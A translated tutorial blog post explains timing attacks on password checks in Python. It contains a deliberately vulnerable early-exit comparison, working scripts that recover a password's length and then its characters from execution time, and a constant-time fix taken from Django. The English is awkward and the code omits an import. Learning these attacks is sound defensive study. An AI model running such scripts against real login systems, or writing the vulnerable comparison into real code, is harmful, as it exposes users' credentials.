User password login is a common authentication method in the system. If it is not handled properly, it will hide the timing attack vulnerability. This article uses Python to tell you what timing attacks are, how to carry out timing attacks, and how to avoid them.
What is a timing attack
For example, when you verify the password, you compare the string bit by bit. If a bit doesn't match, it returns False, which is a trick. Because the correct password must require everyone to participate in the comparison. In this way, the attacker counts the time consumed by input of different lengths. The longest time consumed is the correct password length. Below this password length, it is cracked bit by bit through timing attack. The character that takes a long time is correct. The time complexity is O(n*k), the number of characters allowed by N, and K represents the password length.
Timing attack with Python
For example, you use this method to verify user login:
password_database = {"somenzz": "subscribe to python seven"} def check_password(user, guess): actual = password_database[user] if len(guess) != len(actual): return False # Character by character comparison for i in range(len(actual)): if guess[i] != actual[i]: return False return True
Although the logic of the above code is clear, there is a timing attack vulnerability. It returns when the length is different, which takes the least time. When the length is correct, it needs to be compared character by character, which takes the longest time. The correct password length can be blasted according to the execution time of the program.
For example, if you enumerate passwords with a length of 1-30, the one that takes the longest time must be the correct password length. Therefore, you can write the following code to crack the password length:
import string import timeit import numpy as np allowed_chars = string.ascii_lowercase + " " def random_str(size): return ''.join(random.choices(allowed_chars, k=size)) def crack_length(user, max_len=30, verbose=False) -> int: trials = 2000 times = np.empty(max_len) for i in range(max_len): i_time = timeit.repeat(stmt='check_password(user, x)', setup=f'user={user!r};x=random_str({i!r})', globals=globals(), number=trials, repeat=10) times[i] = min(i_time) if verbose: # Sort, take the top 5 largest most_likely_n = np.argsort(times)[::-1][:5] print(most_likely_n, times[most_likely_n] / times[most_likely_n[0]]) #Take maximum most_likely = int(np.argmax(times)) return most_likely def main(): user = "somenzz" length = crack_length(user, verbose=True) print(f"The most likely length of the password is {length}") if __name__ == '__main__': main()
The results are as follows:

With the length, you can crack the character by character. First, randomly a 25 bit string and record it as guess, and then start the bit by bit blasting attempt from the first bit. If it is correct, it will take more time than before, and then update guess. In this way, you can explode the whole string. If you pass the check during operation_ Password, then return the result and terminate the operation. The code is as follows:
import itertools import string import timeit import numpy as np """ Copy the above code """ def crack_password(user, length, verbose=False): guess = random_str(length) print(f"{guess=}") counter = itertools.count() print(f"{counter =}") trials = 1000 while True: i = next(counter) % length for c in allowed_chars: alt = guess[:i] + c + guess[i + 1:] alt_time = timeit.repeat(stmt='check_password(user, x)', setup=f'user={user!r};x={alt!r}', globals=globals(), number=trials, repeat=10) guess_time = timeit.repeat(stmt='check_password(user, x)', setup=f'user={user!r};x={guess!r}', globals=globals(), number=trials, repeat=10) if check_password(user, alt): return alt if min(alt_time) > min(guess_time): guess = alt if verbose: print(guess) def main(): user = "somenzz" length = crack_length(user, verbose=True) print(f"The most likely length of the password is {length}") input("Press enter to continue cracking the password...") password = crack_password(user, length, verbose=True) print(f"password cracked:'{password}'") if __name__ == '__main__': main()
The operation effect is as follows:

crack_password cost 40.3145 seconds
Considering that they are all lowercase letters, the time complexity is O(n*k), the number of n characters, and K represents the password length. In this case, it is O(26*25). It was cracked in 40 seconds on my computer. Isn't it amazing?
How to solve the timing attack?
It can be said that the writing method of verifying whether the strings are equal mentioned at the beginning of the article is very common. If the length of a bit is not equal, there is no need to continue to judge to the right. Just return directly. It can also improve the performance, but it will cause timing attacks. As a programmer, do you feel a little confused at this time? You can't relax at all in writing code.
In fact, security is always higher than performance. I'm afraid no one dares to use an unsafe system with high performance.
What is the safest way to compare strings? That is to compare all bits. You can refer to the source code of Django to judge the equality of strings:
def constant_time_compare(val1, val2): """ Returns True if the two strings are equal, False otherwise. The time taken is independent of the number of characters that match. For the sake of simplicity, this function executes in constant time only when the two strings have the same length. It short-circuits when they have different lengths. """ if len(val1) != len(val2): return False result = 0 for x, y in zip(val1, val2): result |= ord(x) ^ ord(y) return result == 0
However, you can still blast out the length of the above code through timing, but it is impossible to blast out the specific password through statistical time.
If you don't want to be blown out of the length of the password, you can delete the logic of judging the length, and then complete the length of the string so that the length of the two strings is always equal.
Last words
This article shared what is timing attack, demonstrated how to crack the length of password and the final password through timing attack with Python, and finally shared how to solve timing attack vulnerabilities. If you are helpful, please give some praise, attention and forwarding, thanks to old fellow's reading.